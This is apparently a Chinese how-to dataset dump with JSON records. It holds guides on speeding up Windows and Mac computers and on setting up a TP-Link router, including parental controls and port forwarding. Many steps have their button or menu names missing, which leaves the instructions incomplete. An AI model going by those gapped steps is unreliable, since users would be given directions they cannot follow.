6-2. 双击活动监视器。
这个选项就在“聚焦”的搜索结果中，双击后会打开“活动监视器”。
6-3. 点击“活动监视器”窗口顶端的CPU选项卡。
6-4. 选择要退出的程序。
最好选择内存占用率高的程序。
不要选择你正在使用的程序，比如浏览器。
6-5. 点击窗口左上方的X。
6-6. 出现提示时，点击退出或强制退出。
点击允许程序为当前打开的工作创建还原点，而点击则会立即关闭有关程序。
6-7. 打开“苹果”菜单。
点击屏幕左上方的“苹果”标志，打开一个下拉菜单。
6-8. 点击下拉菜单中的系统偏好设置，打开“系统偏好设置”窗口。
6-9. 点击用户与群组。
这个选项就在“系统偏好设置”窗口中。
6-10. 选择你的名字。
在窗口左侧点击你的用户名。
6-11. 点击窗口顶端的登录项选项卡。
6-12. 禁用启动程序。
取消勾选这一页的任一项目，禁止它们开机自动启动。
可能需要先点击页面左下角的锁头图案，输入密码后才能编辑这个菜单。
7. 整理磁盘碎片
7-1. 了解整理碎片的作用。
只有使用频繁的Windows电脑需要整理碎片。磁盘使用久了，数据碎片会被分散到磁盘不同的地方。检索数据时，需要花费更多时间搜索它们。整理磁盘碎片可以将所有相关的“碎片”，有序地排列在磁盘上的同一个地方。
固态硬盘（SSD）不需要进行碎片整理。
如果电脑的磁盘几乎满了，整理碎片可能没有多大的作用。
7-2. 打开“开始”菜单。
点击屏幕左下角的Windows标志。
7-3. 输入碎片整理和优化驱动器，搜索“磁盘碎片整理”应用。
7-4. 点击“开始”窗口顶端的碎片整理和优化驱动器。
7-5. 选择磁盘。
选择你想要优化的磁盘。在大多数PC电脑上，主要的磁盘被命名为。
7-6. 点击窗口右侧的优化。
“磁盘碎片整理”应用会开始运行。
7-7. 让“磁盘碎片整理”应用运行。
可能需要好几个小时才能整理完毕，记得接上电源，杜绝任何外部中断问题的发生。
小提示
简单的小习惯就能大大改善电脑的性能，比如每隔一天关机一次。
电脑用久了会逐渐运行缓慢，所以有时候电脑速度变慢纯粹是因为时间问题。
偶尔用杀毒软件扫描电脑。病毒和其它不太严重的恶意软件也会拖慢电脑的运行速度。
警告
固态硬盘（SSD）不能进行碎片整理。这可能损坏文件，使磁盘运行速度永久变慢。
不建议同时在电脑上安装多个杀毒程序。Windows电脑自带Windows Defender程序，所以不需要再安装其它杀毒程序。
| {
"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 在Windows电脑清理磁盘\\n1-1. 打开“开始”菜单。\\n点击屏幕左下角的Windows标志。\\n1-2. 输入磁盘清理，在电脑上搜索“磁盘清理”程序。\\n这个实用工具会寻找并删除电脑上无用的文件。\\n1-3. 点击“开始”菜单顶端的磁盘清理。\\n它的图标是一个闪存盘图案。“磁盘清理”程序会在一个单独的窗口中打开。\\n如果还有其它窗口打开，需要点击在屏幕底部闪烁的“磁盘清理”程序图标再继续。\\n1-4. 点击清理系统文件。\\n这个选项就在“磁盘清理”窗口左下角。点击后，“磁盘清理”程序会寻找更多可以删除的文件。\\n1-5. 勾选这一页上面的所有复选框。\\n这一页的所有项目都能删除，以释放电脑上的空间。\\n你需要往下滚动，才能看完主窗口中所有可选的复选框。\\n1-6. 点击窗口底部的确定。\\n\\n1-7. 出现提示时，点击删除文件。\\n“磁盘清理”程序会开始删除电脑上无用的文件，可能需要一段时间，请耐心等待。\\n1-8. 卸载无用的程序。\\n如果电脑上有不想再保留的应用或程序，删除它们也能释放一些空间，改善电脑的整体运行速度。\\n2. 在Mac电脑清理磁盘\\n2-1. 打开“苹果”菜单。\\n点击屏幕左上角的苹果标志，打开一个下拉菜单。\\n2-2. 点击关于本机。\\n它就在靠近下拉菜单顶端的位置。点击后会打开“关于本机”窗口。\\n2-3. 点击窗口顶端的储存空间选项卡。\\n\\n2-4. 点击窗口右上方的管理。\\n这会打开一个显示各种储存选项的新窗口。\\n有的Mac版本可能需要改而点击。\\n2-5. 点击“优化储存空间”标题右边的优化按钮。\\n这会促使Mac电脑删除所有临时或无用的文件，并将你看过的电影和电视节目转移到iCloud。\\n2-6. 卸载无用的程序\\n如果电脑上有不想再保留的应用或程序，删除它们也能释放一些空间，改善电脑的整体运行速度。\\n3. 在Windows电脑清空回收站\\n3-1. 打开“回收站”。\\n双击“回收站”应用，图标是一个白色的垃圾桶，上面有一个蓝色的回收图标，应该可以在电脑桌面上找到。\\n3-2. 还原你不想删除的文件。\\n如果看到你想还原的文件，可以双击它，然后从出现的菜单中点击。\\n3-3. 点击窗口左上方的管理选项卡。\\n一个工具栏会出现在靠近窗口顶端的位置。\\n3-4. 点击工具栏左侧的清空回收站。\\n\\n3-5. 出现提示时，点击是，以删除“回收站”里的所有文件。\\n\\n4. 在Mac清空废纸篓\\n4-1. 打开“废纸篓”。\\n点击Mac电脑“程序坞”里面的“废纸篓”图标，打开“废纸篓”窗口。\\n4-2. 还原你不想删除的文件。\\n如果想把某个文件从“废纸篓”放回电脑，可以点击它不放，然后从“废纸篓”拖动到电脑桌面。\\n4-3. 点击“废纸篓”图标不放。\\n一秒后会弹出一个菜单。\\n4-4. 点击弹出菜单中的清空废纸篓。\\n\\n4-5. 出现提示时，点击清空废纸篓，这会删除“废纸篓”中的所有文件。\\n\\n5. 在Windows电脑调整运行中的程序和启动程序\\n5-1. 打开“开始”菜单。\\n点击屏幕左下角的Windows标志。\\n5-2. 输入任务管理器，在电脑上搜索“任务管理器”，以关闭拖慢电脑运行速度的程序。\\n\\n5-3. 点击“开始”菜单顶端的任务管理器，打开“任务管理器”应用。\\n\\n5-4. 点击“任务管理器”窗口左上方的进程选项卡。\\n\\n5-5. 关闭程序。\\n如果发现有哪些内存占用率高的应用或程序现在不需要运行，可以点击它的名称，点击窗口右下角的。重复上述步骤，关闭所有不必要的应用或程序。\\n点击选项卡，将所有程序按照内存占用率排序，这样进行上述步骤会更方便。\\n5-6. 点击“任务管理器”窗口顶端的启动选项卡。\\n\\n5-7. 检查所有启动程序。\\n这个列表中的所有程序会在开机时默认启动，可能拖慢电脑运行速度。\\n5-8. 禁用某个启动程序。\\n点击想要取消开机自动启动的程序，然后点击窗口右下方的。\\n如果右下方的按钮显示，说明有关程序已经被禁用。\\n必要时重复上述过程，关掉所有不必要的启动程序。\\n完成后就能关闭“任务管理器”。你的设置将被保存。\\n6. 在Mac电脑调整运行中的程序和启动程序\\n6-1. 打开“聚焦”。\\n点击屏幕右上角的放大镜图案。\\n6-2. 双击活动监视器。\\n这个选项就在“聚焦”的搜索结果中，双击后会打开“活动监视器”。\\n6-3. 点击“活动监视器”窗口顶端的CPU选项卡。\\n\\n6-4. 选择要退出的程序。\\n最好选择内存占用率高的程序。\\n不要选择你正在使用的程序，比如浏览器。\\n6-5. 点击窗口左上方的X。\\n\\n6-6. 出现提示时，点击退出或强制退出。\\n点击允许程序为当前打开的工作创建还原点，而点击则会立即关闭有关程序。\\n6-7. 打开“苹果”菜单。\\n点击屏幕左上方的“苹果”标志，打开一个下拉菜单。\\n6-8. 点击下拉菜单中的系统偏好设置，打开“系统偏好设置”窗口。\\n\\n6-9. 点击用户与群组。\\n这个选项就在“系统偏好设置”窗口中。\\n6-10. 选择你的名字。\\n在窗口左侧点击你的用户名。\\n6-11. 点击窗口顶端的登录项选项卡。\\n\\n6-12. 禁用启动程序。\\n取消勾选这一页的任一项目，禁止它们开机自动启动。\\n可能需要先点击页面左下角的锁头图案，输入密码后才能编辑这个菜单。\\n7. 整理磁盘碎片\\n7-1. 了解整理碎片的作用。\\n只有使用频繁的Windows电脑需要整理碎片。磁盘使用久了，数据碎片会被分散到磁盘不同的地方。检索数据时，需要花费更多时间搜索它们。整理磁盘碎片可以将所有相关的“碎片”，有序地排列在磁盘上的同一个地方。\\n固态硬盘（SSD）不需要进行碎片整理。\\n如果电脑的磁盘几乎满了，整理碎片可能没有多大的作用。\\n7-2. 打开“开始”菜单。\\n点击屏幕左下角的Windows标志。\\n7-3. 输入碎片整理和优化驱动器，搜索“磁盘碎片整理”应用。\\n\\n7-4. 点击“开始”窗口顶端的碎片整理和优化驱动器。\\n\\n7-5. 选择磁盘。\\n选择你想要优化的磁盘。在大多数PC电脑上，主要的磁盘被命名为。\\n7-6. 点击窗口右侧的优化。\\n“磁盘碎片整理”应用会开始运行。\\n7-7. 让“磁盘碎片整理”应用运行。\\n可能需要好几个小时才能整理完毕，记得接上电源，杜绝任何外部中断问题的发生。\\n小提示\\n简单的小习惯就能大大改善电脑的性能，比如每隔一天关机一次。\\n电脑用久了会逐渐运行缓慢，所以有时候电脑速度变慢纯粹是因为时间问题。\\n偶尔用杀毒软件扫描电脑。病毒和其它不太严重的恶意软件也会拖慢电脑的运行速度。\\n警告\\n固态硬盘（SSD）不能进行碎片整理。这可能损坏文件，使磁盘运行速度永久变慢。\\n不建议同时在电脑上安装多个杀毒程序。Windows电脑自带Windows Defender程序，所以不需要再安装其它杀毒程序。\\n\", \"简要回答\": \"本文会教你清理导致电脑运行缓慢的旧文件、程序和设置。要是问题持续，那就得考虑采取更进一步的行动，加快Windows或Mac笔记本和台式电脑的运行速度。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在Windows电脑清理磁盘\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“开始”菜单。\", \"描述\": \"点击屏幕左下角的Windows标志。\"}, {\"编号\": 2, \"标题\": \"输入磁盘清理，在电脑上搜索“磁盘清理”程序。\", \"描述\": \"这个实用工具会寻找并删除电脑上无用的文件。\"}, {\"编号\": 3, \"标题\": \"点击“开始”菜单顶端的磁盘清理。\", \"描述\": \"它的图标是一个闪存盘图案。“磁盘清理”程序会在一个单独的窗口中打开。\\n如果还有其它窗口打开，需要点击在屏幕底部闪烁的“磁盘清理”程序图标再继续。\"}, {\"编号\": 4, \"标题\": \"点击清理系统文件。\", \"描述\": \"这个选项就在“磁盘清理”窗口左下角。点击后，“磁盘清理”程序会寻找更多可以删除的文件。\"}, {\"编号\": 5, \"标题\": \"勾选这一页上面的所有复选框。\", \"描述\": \"这一页的所有项目都能删除，以释放电脑上的空间。\\n你需要往下滚动，才能看完主窗口中所有可选的复选框。\"}, {\"编号\": 6, \"标题\": \"点击窗口底部的确定。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": 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\"一个工具栏会出现在靠近窗口顶端的位置。\"}, {\"编号\": 4, \"标题\": \"点击工具栏左侧的清空回收站。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"出现提示时，点击是，以删除“回收站”里的所有文件。\", \"描述\": \"\"}]}, {\"编号\": 4, \"标题\": \"在Mac清空废纸篓\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“废纸篓”。\", \"描述\": \"点击Mac电脑“程序坞”里面的“废纸篓”图标，打开“废纸篓”窗口。\"}, {\"编号\": 2, \"标题\": \"还原你不想删除的文件。\", \"描述\": \"如果想把某个文件从“废纸篓”放回电脑，可以点击它不放，然后从“废纸篓”拖动到电脑桌面。\"}, {\"编号\": 3, \"标题\": \"点击“废纸篓”图标不放。\", \"描述\": \"一秒后会弹出一个菜单。\"}, {\"编号\": 4, \"标题\": \"点击弹出菜单中的清空废纸篓。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"出现提示时，点击清空废纸篓，这会删除“废纸篓”中的所有文件。\", \"描述\": \"\"}]}, {\"编号\": 5, \"标题\": \"在Windows电脑调整运行中的程序和启动程序\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“开始”菜单。\", \"描述\": \"点击屏幕左下角的Windows标志。\"}, {\"编号\": 2, \"标题\": \"输入任务管理器，在电脑上搜索“任务管理器”，以关闭拖慢电脑运行速度的程序。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"点击“开始”菜单顶端的任务管理器，打开“任务管理器”应用。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击“任务管理器”窗口左上方的进程选项卡。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"关闭程序。\", \"描述\": \"如果发现有哪些内存占用率高的应用或程序现在不需要运行，可以点击它的名称，点击窗口右下角的。重复上述步骤，关闭所有不必要的应用或程序。\\n点击选项卡，将所有程序按照内存占用率排序，这样进行上述步骤会更方便。\"}, {\"编号\": 6, \"标题\": \"点击“任务管理器”窗口顶端的启动选项卡。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"检查所有启动程序。\", \"描述\": \"这个列表中的所有程序会在开机时默认启动，可能拖慢电脑运行速度。\"}, {\"编号\": 8, \"标题\": \"禁用某个启动程序。\", \"描述\": \"点击想要取消开机自动启动的程序，然后点击窗口右下方的。\\n如果右下方的按钮显示，说明有关程序已经被禁用。\\n必要时重复上述过程，关掉所有不必要的启动程序。\\n完成后就能关闭“任务管理器”。你的设置将被保存。\"}]}, {\"编号\": 6, \"标题\": \"在Mac电脑调整运行中的程序和启动程序\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“聚焦”。\", \"描述\": \"点击屏幕右上角的放大镜图案。\"}, {\"编号\": 2, \"标题\": \"双击活动监视器。\", \"描述\": \"这个选项就在“聚焦”的搜索结果中，双击后会打开“活动监视器”。\"}, {\"编号\": 3, \"标题\": \"点击“活动监视器”窗口顶端的CPU选项卡。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"选择要退出的程序。\", \"描述\": \"最好选择内存占用率高的程序。\\n不要选择你正在使用的程序，比如浏览器。\"}, {\"编号\": 5, \"标题\": \"点击窗口左上方的X。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"出现提示时，点击退出或强制退出。\", \"描述\": \"点击允许程序为当前打开的工作创建还原点，而点击则会立即关闭有关程序。\"}, {\"编号\": 7, \"标题\": \"打开“苹果”菜单。\", \"描述\": \"点击屏幕左上方的“苹果”标志，打开一个下拉菜单。\"}, {\"编号\": 8, \"标题\": \"点击下拉菜单中的系统偏好设置，打开“系统偏好设置”窗口。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"点击用户与群组。\", \"描述\": \"这个选项就在“系统偏好设置”窗口中。\"}, {\"编号\": 10, \"标题\": \"选择你的名字。\", \"描述\": \"在窗口左侧点击你的用户名。\"}, {\"编号\": 11, \"标题\": \"点击窗口顶端的登录项选项卡。\", \"描述\": \"\"}, {\"编号\": 12, \"标题\": \"禁用启动程序。\", \"描述\": \"取消勾选这一页的任一项目，禁止它们开机自动启动。\\n可能需要先点击页面左下角的锁头图案，输入密码后才能编辑这个菜单。\"}]}, {\"编号\": 7, \"标题\": \"整理磁盘碎片\", \"步骤\": [{\"编号\": 1, \"标题\": \"了解整理碎片的作用。\", \"描述\": \"只有使用频繁的Windows电脑需要整理碎片。磁盘使用久了，数据碎片会被分散到磁盘不同的地方。检索数据时，需要花费更多时间搜索它们。整理磁盘碎片可以将所有相关的“碎片”，有序地排列在磁盘上的同一个地方。\\n固态硬盘（SSD）不需要进行碎片整理。\\n如果电脑的磁盘几乎满了，整理碎片可能没有多大的作用。\"}, {\"编号\": 2, \"标题\": \"打开“开始”菜单。\", \"描述\": \"点击屏幕左下角的Windows标志。\"}, {\"编号\": 3, \"标题\": \"输入碎片整理和优化驱动器，搜索“磁盘碎片整理”应用。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击“开始”窗口顶端的碎片整理和优化驱动器。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"选择磁盘。\", \"描述\": \"选择你想要优化的磁盘。在大多数PC电脑上，主要的磁盘被命名为。\"}, {\"编号\": 6, \"标题\": \"点击窗口右侧的优化。\", \"描述\": \"“磁盘碎片整理”应用会开始运行。\"}, {\"编号\": 7, \"标题\": \"让“磁盘碎片整理”应用运行。\", \"描述\": \"可能需要好几个小时才能整理完毕，记得接上电源，杜绝任何外部中断问题的发生。\"}], \"小提示\": [\"简单的小习惯就能大大改善电脑的性能，比如每隔一天关机一次。\\n\", \"电脑用久了会逐渐运行缓慢，所以有时候电脑速度变慢纯粹是因为时间问题。\\n\", \"偶尔用杀毒软件扫描电脑。病毒和其它不太严重的恶意软件也会拖慢电脑的运行速度。\\n\"], \"注意事项\": [\"固态硬盘（SSD）不能进行碎片整理。这可能损坏文件，使磁盘运行速度永久变慢。\\n\", \"不建议同时在电脑上安装多个杀毒程序。Windows电脑自带Windows Defender程序，所以不需要再安装其它杀毒程序。\\n\"]}]}}",
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14,698 | 如何配置TP Link路由器 | 1. 安装路由器
1-1. 关闭调制解调器的电源。
如果你使用单独的调制解调器，一定先要拔掉它的电源。如果调制解调器配有备用电池，也要记得拔掉它。
1-2. 把路由器连接到互联网。
你需要用到一条以太网电缆。按照以下步骤之一，把路由器连接到互联网。
如果路由器带有内置的调制解调器，那就只用把互联网服务提供商的互联网电缆连接到路由器背面的“WAN”或“Internet”端口。
如果你使用单独的调制解调器，那就把家里的网线连接到调制解调器的“WAN”或“Internet”端口。然后，把以太网电缆连接到调制解调器背面某个可用的“LAN”端口。接下来，把以太网电缆的另一端连接到路由器背面的“WAN”或“Internet”端口。
1-3. 接通调制解调器的电源。
如果你使用单独的调制解调器，那就插上它的电源插头，或者重新接通电池组，给调制解调器重新供电。
1-4. 接通路由器的电源。
确保使用路由器随附的交流电源适配器。把交流电源适配器连接到电源输入口，它通常位于路由器背面。然后把交流电源适配器插入电源插座。这时候，路由器应该会通电。等路由器正面的指示灯稳定亮起，就表示路由器已经完成启动。
1-5. 把电脑连接到路由器。
这时候你需要用到另一条以太网电缆。把以太网电缆连接到路由器上任何可用的“LAN”端口。然后把另一端连接到电脑上的可用以太网端口。
如果电脑上没有可用的以太网端口，你可以购买一个USB转以太网适配器。把它插到任何可用的USB端口中，你就能连接以太网电缆和电脑了。
此外，你也可以使用路由器底部或用户手册上列出的默认SSID和密码，以无线方式连接到路由器。
2. 使用“快速设置”来配置路由器
2-1. 打开网络浏览器。
你可以使用电脑上的任意网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。
2-2. 在网络浏览器顶部的地址栏中输入默认访问地址。
这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：
http://tplinkwifi.net
http://192.168.0.1
http://192.168.1.1
http://10.0.0.1
2-3. 创建新的管理员密码并点击让我们开始吧。
这创建的不是Wi-Fi密码，而是用于登录路由器和更改必要设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。
2-4. 确保选择快速设置选项卡。
这个选项会引导你完成路由器的设置过程。首先要记得点击顶部的选项卡。
如果你的TP-Link型号比较老，可能会位于左侧菜单面板的顶部。
2-5. 选择你的时区。
从“时区”旁边的下拉菜单中选择你当前的时区。然后点击继续。
2-6. 选择你的互联网连接类型。
点击互联网连接类型旁边的单选选项。你可以选择 “动态IP”、“静态IP”、“PPPoE”、“L2TP”或“PPTP”。如果你不确定自己使用的什么连接类型，可以点击屏幕顶部的。准备好继续后，点击。
“自动检测”功能可能无法完美发挥作用。如果你不确定使用的什么类型的互联网连接，请咨询你的互联网服务提供商。
如果你无法从互联网服务提供商那里获得所需的信息，也可以尝试使用基本设置来启动和运行互联网。
2-7. 输入IP地址和/或MAC信息。
根据所选择的互联网连接类型，你可能需要输入IP地址、子网掩码（通常是“255.255.255.0”）、默认网关以及主要和辅助DNS。如果你不确定这些信息，请咨询你的互联网服务提供商。输入信息后点击。
如果问你是否要克隆电脑的MAC地址，请咨询互联网服务提供商，确认你的互联网接入是否被限制在某个特定的MAC地址。如果是这样，请确保你使用的电脑拥有该MAC地址，然后点击单选选项，以便克隆电脑的MAC地址。如果你不确定，那就点击“不要克隆计算机的MAC地址”旁边的单选选项，然后点击。
2-8. 输入网络名称（SSID）和密码。
网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。在“网络名称（SSID）”旁边输入网络名称，然后“密码”旁边输入密码。点击继续。
如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。
如果你的路由器是双频的，那就要为2.4GHz频段和5GHz频段分别设置一个网络名称（SSID）。2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。你可以为两个频段设置相同的密码，但它们的网络名称必须有所区别。
如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。
如果你的路由器支持智能连接，也可以试着点击智能连接旁边的复选框来启用它。这样，上网设备就能自动在2.4GHz频段和5GHz频段之间切换，但具体取决于它们离路由器有多远。
2-9. 查看信息并点击保存。
摘要页面会显示你截至目前所输入的全部信息。查看页面，确保填写的信息准确无误。在准备好继续时，点击。
2-10. 把设备连接到无线网络，然后点击下一步。
下一个页面会显示你的网络名称和密码。你可以利用这个时候把无线设备连接到网络。在准备好继续时，点击。
2-11. 用你的TP-Link ID登录。
如果你有TP-Link ID，那就输入与TP-Link ID关联的电子邮箱和密码，然后点击以连接到云服务并注册你的路由器。如果你还没有TP-Link ID，也可以点击，输入电子邮件地址并创建密码，然后同意条款和条件，这样就能创建一个TP-Link ID。你也可以点击跳过这一步。
2-12. 点击完成。
恭喜！你已经把TP-Link路由器设置好了。
2-13. 更新路由器固件。
一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：
在网络浏览器中输入默认访问地址。
使用管理员密码登录。
点击右上角的。
如果有更新，点击“在线升级”下方的。
点击进行确认。
等待更新完成。
3. 使用基本设置来配置路由器
3-1. 打开网络浏览器。
你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。
3-2. 在网络浏览器顶部的地址栏中输入默认访问地址。
这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：
http://tplinkwifi.net
http://192.168.0.1
http://192.168.1.1
http://10.0.0.1
3-3. 创建一个新的管理密码，然后点击我们开始吧。
这不是Wi-Fi密码，而是你用来登录路由器并在必要时更改设置的密码。一个安全的密码应该至少有8个字符，并且还要同时包含字母、数字和特殊字符。请确保创建一个你能记住的密码。 输入两次密码，然后点击继续。
3-4. 点击基本。
这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。
3-5. 点击无线。
这是左侧菜单面板中的第三个选项。你可以通过它来配置无线设置。
3-6. 点击复选框以启用网络频段。
大多数双频无线路由器都有两个可以启用和连接的网络。 2.4 GHz频段的互联网速度较慢，但覆盖范围较大。5GHz频段的互联网速度会更快，但覆盖范围较小。点击你想启用的网络旁边的复选框。你可以同时启用两个网络。
3-7. 输入网络名称（SSID）和密码。
网络名称是在尝试连接到无线网络时要搜索的名称。然后还要输入密码才能连接到网络。你得为2.4GHz网络和5GHz网络输入不同的网络名称。但是，两个网络可以使用相同的密码。
如果你想让别人连接到网络，记得要使用不同于任何其他应用程序或服务的密码。使用一个你不介意被别人知道的密码。
如果你的TP-Link型号比较老，则需要在左边的菜单中点击和来配置两个网络频段。
如果你不想让自己的网络名称在别人搜索无线网络时出现在结果中，也可以点击“隐藏SSID”旁边的复选框。在连接到无线网络时，你将需要手动输入网络名称和密码。
3-8. 点击右下角的蓝色保存按钮。
这样将保存你的网络设置。
3-9. 重新连接到互联网。
如果更改了无线网络名称和密码，你的电脑和设备会自动从网络断开。使用你设置的新网络名称（SSID）和密码重新登录网络。然后你应该就能够连接到互联网了。
3-10. 更新路由器固件。
一旦完成了路由器的设置，不妨再更新一下路由器的固件。这可能需要花几分钟的时间。一旦更新完成，路由器就会自动重启。你可以按照以下步骤来更新路由器固件：
在网络浏览器中输入默认访问地址。
使用管理员密码登录。
点击右上角的。
如果有更新，点击“在线升级”下方的。
点击进行确认。
等待更新完成。
4. 设置家长控制
4-1. 打开网络浏览器。
你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。你可以通过网络界面来为TP-Link路由器配置家长控制。使用家长控制可以阻止特定设备访问某些网站或关键词，并且还可以为特定设备设置上网时间限制。
4-2. 在网络浏览器顶部的地址栏中输入默认访问地址。
这样会打开路由器的用户界面。通常在路由器的底部或用户手册中都能找到默认的访问地址。默认访问地址通常是如下之一：
http://tplinkwifi.net
http://192.168.0.1
http://192.168.1.1
http://10.0.0.1
4-3. 输入管理密码并点击登录。
这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。
如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。
4-4. 点击基本。
这是屏幕顶部的第二个选项卡。它让你能够使用一些基本步骤来配置路由器，这种方法所需的信息最少。
4-5. 点击家长控制。
这是左侧菜单中的第五个选项。它的图标像是一个大人和一个小孩。
4-6. 点击 添加。
它位于网页右上角，在一个类似加号（+）的图标旁边。
4-7. 为配置文件输入一个名称。
在“名称”旁边为家长控制配置文件输入一个名称。
4-8. 选择一台要应用家长控制的设备。
可以按照以下步骤来完成：
点击“设备”下方的大加号（+）图标。
点击你想应用设置的设备旁边的复选框。
点击右下角的。
4-9. 点击下一步。
如果“设备”下方列出了正确的设备，点击右下角的以继续。
4-10. 输入一个你想屏蔽相关内容的关键词，然后点击添加。
你可以输入一个关键词来禁止访问任何包含该关键词的网站内容，也可以输入特定的网站或应用程序名称。
你可以随意添加关键词或想禁止访问的网站，数量没有限制。
4-11. 点击下一步。
在输入所有想屏蔽的关键词后，点击继续。
4-12. 设置每天的时间限制。
为此，你可以点击“时间限制”下方旁边的复选框。然后使用滑块来设置每天的时间限制，也就是设备每天可以上网多久。你可以为工作日（周一至周五）和周末（周六和周日）单独设置不同的每天上网时长。
4-13. 设置睡前限制。
这样会禁止设备在睡觉时间访问互联网。要设置睡觉时间限制，点击“睡觉时间”下方旁边的复选框。然后在“从：”和“到：”旁边的方框中设置禁止设备访问互联网的时间段（比如，“从：晚上9:00，到：早上6:00”）。你可以为工作日和周末单独设置不同的睡觉时间。
4-14. 点击保存。
这样会保存配置文件。你可以添加更多的配置文件来创建不同的限制。
5. 配置端口转发
5-1. 打开网络浏览器。
你可以使用电脑上的任何网络浏览器，包括Google Chrome、Safari、Firefox或Microsoft Edge。如果电脑或设备需要访问某个特定的端口或外部网络地址，你就可以在路由器上设置端口转发，让设备直接连接到外部互联网。你可以在网络界面中设置端口转发。
5-2. 在网络浏览器顶部的地址栏中输入默认访问地址。
这样会打开路由器的用户界面。你通常可以在路由器的底部或用户手册中找到默认访问地址。默认访问地址通常会是以下之一：
http://tplinkwifi.net
http://192.168.0.1
http://192.168.1.1
http://10.0.0.1
5-3. 输入管理密码并点击登录。
这是你在最初设置路由器时首次打开用户界面时设置的密码。输入管理密码，然后点击。
如果你还没有设置管理密码，那就输入一个新密码，然后点击。接着点击以便完成初始设置过程。
5-4. 点击高级。
这是屏幕顶部的第三个选项卡。你可以在其中对TP-Link路由器进行高级配置。
5-5. 记下公用和专用IP地址。
公用IP地址列在“互联网”方框中的“IP地址”旁边。专用IP地址列在“WAN”方框中的“IP地址”旁边。记录下这两串数字。
5-6. 打开“DHCP服务器”页面。
点击左边菜单面板中的，展开网络菜单。然后点击“网络 ”下方菜单中的。
5-7. 记下要转发的设备的IP地址和MAC地址。
为此，你可以向下滚动到“DHCP客户端列表”。这个表格中列出了所有连接到网络的设备。通过设备名称来找到你要应用端口转发的设备。 然后，记下分配的IP地址和MAC地址。
5-8. 点击 添加。
它位于网页右上角，在一个类似加号（+）的图标旁边。这样，你就可以为设备输入一个地址保留。
5-9. 输入MAC地址和IP地址，然后点击保存。
在旁边输入或复制并粘贴MAC地址。然后在旁边输入IP地址。如果需要，你还可以输入描述。然后点击。这样就可以确保路由器总是为设备分配该IP地址。
5-10. 打开“虚拟服务器”页面。
向下滚动并在左侧的菜单面板上点击。然后点击。
5-11. 点击 添加。
它位于网页右上角，在一个类似加号（+）的图标旁边。
5-12. 选择服务类型。
服务包括HTTP、FTP、DNS、Gopher、NNTP等。要选择服务类型，点击 “服务类型”旁边的。然后，点击你想选择的服务类型旁边的。该服务类型的端口号就会被自动填写。
如果你连接的服务所使用的端口号与自动填写的有所不同，那就得与该服务进行核实，确认正确的端口号是什么。
5-13. 输入设备的IP地址，然后点击保存。
在“内部IP地址”旁边输入你之前分配给设备的相同IP地址。完成后，点击右下角的。这样就为设备分配了端口转发。
要在网络中或网络外的网络浏览器中访问你刚刚添加的服务器，可以在地址栏中输入公用IP地址，然后以此输入冒号（:）和端口号（如119.139.172.01:80）。
| {
"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 安装路由器\\n1-1. 关闭调制解调器的电源。\\n如果你使用单独的调制解调器，一定先要拔掉它的电源。如果调制解调器配有备用电池，也要记得拔掉它。\\n1-2. 把路由器连接到互联网。\\n你需要用到一条以太网电缆。按照以下步骤之一，把路由器连接到互联网。\\n如果路由器带有内置的调制解调器，那就只用把互联网服务提供商的互联网电缆连接到路由器背面的“WAN”或“Internet”端口。\\n如果你使用单独的调制解调器，那就把家里的网线连接到调制解调器的“WAN”或“Internet”端口。然后，把以太网电缆连接到调制解调器背面某个可用的“LAN”端口。接下来，把以太网电缆的另一端连接到路由器背面的“WAN”或“Internet”端口。\\n1-3. 接通调制解调器的电源。\\n如果你使用单独的调制解调器，那就插上它的电源插头，或者重新接通电池组，给调制解调器重新供电。\\n1-4. 接通路由器的电源。\\n确保使用路由器随附的交流电源适配器。把交流电源适配器连接到电源输入口，它通常位于路由器背面。然后把交流电源适配器插入电源插座。这时候，路由器应该会通电。等路由器正面的指示灯稳定亮起，就表示路由器已经完成启动。\\n1-5. 